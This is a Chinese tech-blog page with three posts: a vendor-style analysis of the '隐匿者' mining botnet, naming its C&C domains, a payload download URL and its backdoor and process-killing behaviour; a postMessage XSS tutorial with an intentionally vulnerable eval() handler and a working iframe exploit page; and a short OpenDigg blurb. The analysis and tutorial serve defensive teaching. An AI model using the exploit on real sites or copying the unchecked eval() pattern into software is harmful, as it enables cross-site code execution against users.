分类 技术与编程 下的文章

黑客犯罪团伙"隐匿者"被扒皮,竟然是中国人

赛博世界似乎永远处于黑暗。
每一个进入的人都拿着照明工具摸索前进,可惜的是,能照出来的只有自己眼前狭窄的一道光源。
而那些隐匿在黑暗中的鬼手——黑客犯罪团伙,总让人们防不胜防。
而最近,一个以牟利为目的,活跃于互联网上,拥有超强技术能力并多次发动大规模攻击的黑客团伙被挖掘出来,并命名为“隐匿者”,更令人惊讶的是这个团伙可能由中国人组成或参与。
“隐匿者”最早出现在2014年,此后一直从事入侵服务器或者个人主机的黑色产业,他们通过植入后门程序控制这些设备(肉鸡),然后进行DDoS攻击,也会将这些肉鸡出租给其他黑产团伙。
最近,“隐匿者”主要利用这些“肉鸡”来“挖矿”——生产比特币。为了霸占用户设备长期牟利,“隐匿者”会“黑吃黑”,以此抢夺其他黑客团伙的“肉鸡”,删除其他黑客的后门账户、结束其后门进程、关闭可被能利用的攻击端口等。
作为一个四处打劫的作恶团伙,时时打磨手中利剑格外重要。早在4月29日,“隐匿者”就将刚泄露十余天的“永恒之蓝”漏洞加入自己的黑客工具箱中,这比恶性病毒WannaCry 5月12日首次爆发还早2周时间。
所以这个作恶累累的黑客团伙是如何被一点一点挖掘出来的呢?宅客频道整理了相关数据线索。
一、 数据线索
在火绒终端威胁分析系统中,我们找出与攻击相关的全部恶意C&C服务器域名。通过梳理近半年的活跃C&C服务器,我们列举出了数据量最大10个的C&C服务器地址,如下图所示:

域名汇总
以时间为轴,我们可以直观的看到依托于不同C&C服务器域名的攻击爆发趋势,如下图所示:

触发防御点的域名爆发趋势
通过上图可以看出,f4321y.com、mykings.pw、mys2016.info、mykings.top四个域名在攻击时间和爆发数量上呈现出了此消彼长、持续攻击的威胁态势,且爆发数量有很强的延续性。通常,黑客攻陷的主机数量会不断激增,且黑客为了提高其隐蔽性会不断地更换C&C服务器地址。所以我们初步猜测,上述四个C&C服务器域名可能同属于一个黑客团伙。
依据上图的红色上升曲线可以看出,该黑客团伙前期攻击所控制的主机数量增长趋势较为平缓。在4月14日“Shadow Brokers”组织泄露出“永恒之蓝”漏洞之后,该黑客团伙可能将“永恒之蓝”漏洞加入到了渗透工具箱中。在此之后,依托其之前攻陷的主机,使利用mykings.top域名的攻击数量在短时间内快速爆发到了一个较高水平。
但随后,WannaCry病毒在全球范围内大范围爆发(即上图灰色虚线所示时间点)。该黑客团伙所控制的主机受该病毒影响十分严重,在大部分中毒服务器选择重置系统后,其所控制的主机数量有了明显减少。所以体现在爆发趋势上,与该黑客团伙相关的防御事件在同样使用“永恒之蓝”漏洞进行传播的WannaCry病毒流行后的很短一段时间之内出现了直线下滑,即使该黑客团伙在其后续的攻击中加入了相关的防御功能,也依然于事无补。最后,攻击事件数量稳定在了“永恒之蓝”漏洞爆发之前以下(即上图棕色虚线所示位置以下),表明除利用漏洞入侵主机受到了直接影响以外,前期该团伙所攻陷的部分主机也受到了直接影响。
经过下文详细论证,除上述四个域名外, oo000oo.club和5b6b7b.ru这两个域名也同属于这一黑客团伙。这两个域名首次触发相关防御拦截点的时间非常相近,且时间点都在与C&C服务器域名相关防御拦截事件数量锐减之后。所以我们推测,在该黑客团伙被WannaCry病毒重创之后,为了能够尽快挽回自己的“损失”,开始同时使用多个域名和服务器,并行为其进行渗透攻击。
由于该黑客团伙长期潜伏于互联网中,且其攻击对互联网所造成的威胁随时间逐渐增强,所以我们将该黑客团伙命名为“隐匿者”。
在近半年中,有多篇其他安全厂商报告中都曾出现过“隐匿者”的足迹。卡巴斯基实验室在2017年2月发布报告《New(ish) Mirai Spreader Poses New Risks》,提到了前文所述的f4321y.com和mykings.pw 域名。
针对Mirai病毒事件,火绒所拦截到的终端防御事件信息,如下图所示:

攻击使用的C&C服务器域名信息
Cyphort实验室在2017年5月发布报告《EternalBlue Exploit Actively Used to Deliver Remote Access Trojans》,提到了C&C服务器域名mykings.top。报告中指出,黑客借助“永恒之蓝”漏洞进行攻击。
火绒在该病毒事件中拦截到的相关终端防御信息,如下图所示:

攻击使用的C&C服务器域名信息
另外三个域名(js.mys2016.info、js.oo000oo.club、js.5b6b7b.ru)虽然也都属于这个黑客团伙,但是至今还没有安全厂商对其进行过相关分析,将来可能被会被爆出新的安全威胁。火绒终端防御信息,如下图所示:

攻击使用的C&C服务器域名信息
二、同源性和样本分析
与前文所述六个域名及其子域名命名具有非常高的相似性。顶级域名命名方式相似,其中三个域名都为“my”开头。如下图所示:

主域名列表
二级域名按C&C功能命名,分别包括“js.”、“down.”和“wmi.”三种域名形式。如下图所示:

子域名列表
根据火绒终端威胁情报系统所提供的防御拦截数据,我们可以进一步得出,上述的几个域名相关的攻击行为具有极强的同源性。如下图所示:

域名相关病毒行为同源性
如上图所示,与几个C&C服务器域名相关的攻击手法具有以下三个相同点:

  1. 上述六个域名都具有相同的病毒行为,远程脚本运行和命令行脚本启动FTP。
  2. 命令行脚本启动FTP命令行参数中,以时间为序,前三组FTP用户名同为“mssql2”,后三组用户名同为“test”,且所有FTP所使用的密码全部都是1433。
  3. 远程执行脚本调用的命令行参数,除域名 (下图标红部分)改变外,其他参数及参数位置完全相同。如下图所示:

    远程执行脚本参数
    剧雷锋网了解,火绒的终端用户受到黑客攻击后,在用户终端检测到与C&C服务器进行通信的攻击样本。通过分析,这些样本在错误字符串、传播机制、 编程语言和编译器等细节也表现出了很强的同源性。
    其中f4321y.com、mykings.pw和mys2016.info域名相关样本为同源样本,样本中字符串信息具有很高的相似性。如下图所示:

    f4321y.com、mykings.pw和mys2016.info域名相关样本字符串数据对比
    早期版本的攻击采用了多种攻击模块。攻击相关数据如下图所示:

    病毒数据
    完整攻击模块列表如下图所示:

    病毒攻击模块
    根据扫描主机的开放端口,病毒会采用如上图所示的攻击方式进行攻击。如下图所示:

    针对不同的端口发起攻击
    病毒攻击所使用的相关数据来自于C&C服务器(在我们所分析的样本中,下载地址为:http:// up.f4321y.com:8888/wpd.dat),数据是进行过加密的。下载后病毒会将wpd.dat文件的md5数值与C&C服务器中wpdmd5.txt中存放的md5数值进行比较,如果相同则进行解密。如下图所示:

    病毒攻击数据处理流程
    解密后的数据是一段xml ,数据中包括攻击IP、不同攻击所使用的端口和字典。如下图所示:

    处理攻击IP

    处理不同攻击所使用的端口

    处理字典
    虽然上述攻击具有很高的复杂度,但是其攻击手段所受到的限制也非常多。在2017年4月14日“ Shadow Brokers”泄露的“永恒之蓝”攻击之后,“隐匿者”编写了新的“永恒之蓝”攻击模块,直接用于与mykings.top和oo000oo.club域名相关的渗透攻击中,其出现时间比同样利用“永恒之蓝”漏洞进行传播的WannaCry病毒(2017年5月12日)还要早。
    通过样本字符串数据的比对,我们可以看到,mykings.top和oo000oo.club域名相关样本也具有非常高的同源性,在所例举的数据中仅有域名相关部分不同。如下图所示:

    mykings.top和oo000oo.club域名相关样本字符串数据对比
    我们通过其同一时间所使用的网址内容除域名部分完全相同。如下图所示:

    mykings.top和oo000oo.club域名下网页在同一时间所显示的内容
    除此之外在同一时间,与两个域名相关攻击所使用的close2.bat脚本也完全相同,脚本中所包含的域名也完全一致(同为ftp.oo000oo.me)。所以我们可以直接得出,与两个域名相关的攻击同属于 “隐匿者”。如下图所示:

    mykings.top和oo000oo.club域名相关攻击所使用的脚本
    通过对类似防御事件的筛查,我们找到了与上述mykings.top域名相关的终端数据。如下图所示:

    按时间排序的终端防御数据
    根据防御事件信息,我们发现最早出现的防御信息中父进程为系统进程lsass.exe进程,与“永恒之蓝”漏洞触发后特征完全吻合。在使用“永恒之蓝”漏洞之后,“隐匿者”的攻击就可以直接绕过用户名密码的限制,大大提高攻击的成功率。于此同时,“隐匿者”也对其病毒代码进行很大程度的削减。在“永恒之蓝”漏洞触发后,在注入到lsass.exe进程的Payload动态库中,我们发现其主要逻辑首先会执行一段执行配置,配置中包括需要下载的文件和需要执行批处理脚本。批处理中如下图所示:

    漏洞Payload的执行配置
    如上图所示,病毒代码运行后会下载 “[down]”标签后的两个文件,item.dat和c.bat。item.dat为后门病毒,c.bat则会关闭135、137、138、139和445端口(起初“隐匿者”不会关闭端口,该部分为后期新添加的功能)。如下图所示:

    用于关闭端口的c.bat脚本内容
    在“[cmd]”标签后存放的是病毒需要执行的批处理脚本,该脚本首先会创建后门账户,之后会删除其他黑客留下的后门账户并结束与其他入侵相关的病毒进程,其中包括利用“永恒之蓝”漏洞挖取门罗币病毒事件的相关进程。如下图所示:

    脚本部分结束的进程列表
    之后,Payload动态库会注册WMI脚本执行从远端服务器获取到的名为item.dat的后门程序,并执行存放在远端C&C服务器的JScript脚本。病毒注册的WMI脚本,如下图所示:

    漏洞Payload注册的WMI脚本
    kill.html中存放是的需要结束的进程列表,该列表在其攻击过程中不断的进行更新。如下图所示:

    kill.html中存放的进程列表(内容获取时间较早)
    test.html中存放的是可执行文件的下载地址,这些文件会被WMI脚本下载到本地进行执行,且该网页中内容可以根据攻击者需求实时进行更新。如下图所示:

    test.html存放的可执行文件列表
    三、 “隐匿者”的溯源
    通过对“隐匿者”攻击相关样本字符串特征的整理,我们发现“隐匿者”相关样本中均出现了中文调试信息。如下图所示:

    f4321.com、mykings.pw和mys2016.info域名中具有地域特征的字符串信息

    mykings.top和oo000oo.club域名中具有地域特征的字符串信息
    根据上述信息,我们推测 “隐匿者”团伙可能由中国人组成或参与。
    经过筛查与上述攻击具有同源性的样本,我们找到了更早期的相关样本,其编译时间为2014年7月。如下图所示:

    早期文件信息
    样本数据如下图所示:

    样本数据
    如上图,我们在样本数据中找到相关C&C服务器域名,其域名命名方式与前文所述域名相似,且攻击相关模块数据相同。通过域名查询,我们获取到了更多C&C服务器域名信息。如下图所示:

    buysking.com域名信息
    我们可以通过C&C服务器域名信息推断,相关攻击最早可能早于2015年4月。但直到2017年,“隐匿者”的相关攻击才被其他安全厂商报道。
    四、不断更新的攻击手段
    2017年以来,信息安全领域威胁事件频发,“隐匿者”也在不断地利用这些安全信息对自己的攻击进行改进。“隐匿者”所使用的不同攻击手段所占比重,随时间不断的进行演变。从如下图所示:

    不同域名相关恶意行为占比
    以时间为序,我们可以看出“隐匿者”不断更换域名的同时,也在不断的改进其攻击方式,而且其攻击方式的更新会紧跟互联网安全事件。例如:起初,“隐匿者”会通过“远程脚本运行”的方式绕过AppLocker白名单。在2017年初爆出“远程执行MSI安装包”可以绕过AppLocker白名单之后,终端拦截到的“运行远程MSI安装包”行为开始明显增多(上图第四部分)。显然在年初爆出消息后,“隐匿者”也将新的绕过AppLocker白名单的方法加入了自己的渗透工具。
    虽然自始至终“隐匿者”所采用的攻击都是高度程序化的,但是在这一阶段,因为其只能通过暴力破解用户名密码的方式进行不同种类的攻击,所以其攻击效率并不是很高。如下图所示:

    利用暴力破解手段攻击流程
    剧雷锋网了解,在2017年4月 “Shadow Brokers”组织爆出“永恒之蓝”漏洞之后,“隐匿者”随即将该漏洞加入到了自己的渗透工具中。利用漏洞运行的动态库会注册WMI脚本,最终再由WMI脚本启动后门程序,从而直接获取到主机的控制权。这种攻击模式不但省去了耗时的遍历暴力破解流程,还大大提高了攻击的成功率,使“隐匿者”所控制的主机数量在短时间内大幅提升。攻击流程,如下图所示:

    利用漏洞攻击流程
    五、争夺主机控制权
    除了上文中所述的 “隐匿者”外,还有一些小的黑客团体也在使用类似的手段进行攻击,在互联网中相互抢夺存在安全漏洞的主机控制权。在黑客攻陷主机之后都会在主机中创建后门账户,其最明显的争夺主要在这些后门账户上。如下图所示(上方为火绒拦截到的“隐匿者”攻击相关恶意行为爆发趋势,下方为火绒拦截到的“隐匿者”对其他后门账户的操作增长趋势):

    “隐匿者”对其他后门账户的操作趋势
    根据上图所示数据,我们可以看出为了争夺这些有限的主机控制权,黑客团伙之间的争夺异常激烈。“隐匿者”通过不断的攻击主机收集到了一些常见的后门账户名,再利用批处理直接对这些常见的后门账号名进行删除操作。
    除了通过删除账户对主机的控制权进行争夺外,“隐匿者”也会结束与其他黑客团伙攻击相关的病毒进程。在攻击期间,“隐匿者”所使用的结束进程列表会随着其所收集到的其他病毒数据的增多而不断进行更新。如下图所示:

    kill.html中存放的进程列表(最新)
    与前文中所展示的早期kill.html页面相比该列表有了明显的更新,病毒结束的进程数量大幅增加。通过火绒终端威胁情报系统中的实时监控防御数据,我们将比较具有代表性的进程路径罗列在了一起。如下图所示:

    结束进程列表中比较具有代表性的进程路径
    通过对数据的整理,我们发现了一个尚未被其他安全厂商提及的未知黑客团伙(相关信息见上图标红部分),该黑客团伙会利用“永恒之蓝”漏洞入侵主机挖取门罗币。相关恶意行为信息,如下图所示:

    未知黑客团伙利用“永恒之蓝”漏洞挖取门罗币
    我们将上述防御数据进行统计整理出了未知黑客团伙的攻击趋势,并将其与“隐匿者”的攻击趋势和“隐匿者”结束未知黑客团伙的病毒进程的数量趋势进行比较。如下图所示:

    “隐匿者”与利用漏洞挖取门罗币攻击与结束进程事件对比
    通过上图我们可以看出,利用漏洞挖取门罗币的相关病毒事件比“隐匿者”将“永恒之蓝”加入其渗透工具的时间点要早,且由于 “隐匿者”可能在其之前攻击中就已经获取到了与挖取门罗币病毒的相关数据,所以在“隐匿者”使用漏洞进行攻击的第一时间就将挖取门罗币的病毒进程加入到了进程结束列表中,且其结束相关进程的动作在挖取门罗币病毒爆发期间基本维持持续增多的趋势。在病毒爆发过后,相关动作的发起数量也有明显下降。
    自年初至今,其他的黑客组织(如上述未知黑客组织)也在进行不同程度的网络攻击,但相较于“隐匿者”而言这些攻击发起数量较小,且不具有持续性。可以预料的是,“隐匿者”并不会就此罢手,未来可能带来更多安全威胁,雷锋网 (公众号:雷锋网) 也会对“隐匿者”进行持续跟踪。

postMessage安全性问题

0x00

浏览器有同源策略,规定js访问必须遵循同源策略,即满足同协议-同域名-同端口条件才能访问web资源,cookie,dom等等。
跨域的方式也有很多种,jsonp,window.name,document.cookie,其中postMessage就是一种跨域的方法。
使用postMessage方法时,我们只要发送端拥有某个窗口的有效js的句柄,就可以通过这套机制向该窗口发送任意长度的文本信息。

场景:

pay.example.com根目录下有个页面想获取用户的登录信息,为了达到这个目的,pay.example.com的根路径下有个页面加载了一个指向login.example.com的子框架。
1、这个子框架只需要发出以下指令:

parent.postMessage("user=bob", "https://pay.example.com");

2、在pay.example.com中获取这个message:

//对传进来需要处理的消息先进行注册
addEventListener("message", user_info, false) ;
//收到实际数据时的具体处理

function user_info(msg){
    if(msg.origin == "https://login.example.com"){
        //根据计划使用msg.data数据
    }
}

从上面的代码可以看出,使用postMessage时,必须要判断消息的来源,使用回调参数中的origin属性进行判断,从而限制不可信域请求我们的资源。但是有时候由于疏忽,会漏掉判断,这就会导致安全问题。

0x01

看一段代码:

The secret is random and different for each visitor.

<br />
Xss It! 
<script>
    var secret = Math.random();
    var data=localStorage.getItem("secret");
    if(!data){
        data=secret;
        localStorage.setItem("secret",data)
    }
    data=data+"";
    console.log("secret is :"+ data);
    window.addEventListener("message",function(e){
        var d=e.data;
        if(!d || !d.secret){return;}
        var token=d.secret;
        var action=d.action;
        switch(action){
            case "check":
                if(data.match(new RegExp(token))){
                    console.log("ok");
                }
                break;
            case "run":
                if(token === data){
                    eval(d.cmd);
                }
                break;
            default:
                void 0;
        }
    })
</script>

页面通过addEventListenr方法捕捉一个message事件,但是没有判断请求的来源就进行eval操作,这就会导致任意域在本域执行JS代码。写个页面即可,先获取窗口句柄,再发送恶意数据即可。
代码如下:

<!DOCTYPE html>
<html>
<body>
postMessage for xss test
<script>
var f = document.createElement('iframe') ;
f.style = "display:none;" ;
f.width = "0" ;
f.height = '0' ;
f.name = "poor" ;
f.src = "http://xxoo.sinaapp.com/test/test.htm" ;
document.body.appendChild(f) ;
f.onload = function(){
    var w = f.contentWindow ;
    w.postMessage({secret:"0.8192312608007342",action:'run',cmd:'alert(location.href)'},"http://xxoo.sinaapp.com/test/test.htm") ;
}
</script>
</body>
</html>

通过这种方式可以在xxoo.sinaapp.com域上执行任意js代码,突破同源限制。所以,以后使用postMessage跨域,应该做好一定的防范和验证。

OpenDigg

-- 记录一下只想看看这样的公司能活多久。

OpenDigg起于2016年12月,由几个热爱开源的小伙伴创建。OpenDigg致力于挖掘优质的开源项目,通过技术和人工把开源项目分类整合。

在技术上,OpenDigg通过对Github,技术社区,博客等来源信息的抓取,自动搜集到最新创建的开源项目,并人工挑选出合适的项目进行整理收录。

在产品形态上,OpenDigg首页以类似ProductHunt的形式呈现最近收录的项目,并辅以标签和搜索快捷的找到需要的项目。

我们同时也回馈开源社区,目前计划将一系列优质的开源项目整理到Github上, 打造属于中文开发者的Awesome系列。当前已经发布第一个系列,也就是小程序集合, 欢迎关注star。

如果你有任何意见或者合作,请通过邮箱support#opendigg.com或者微博联系我们。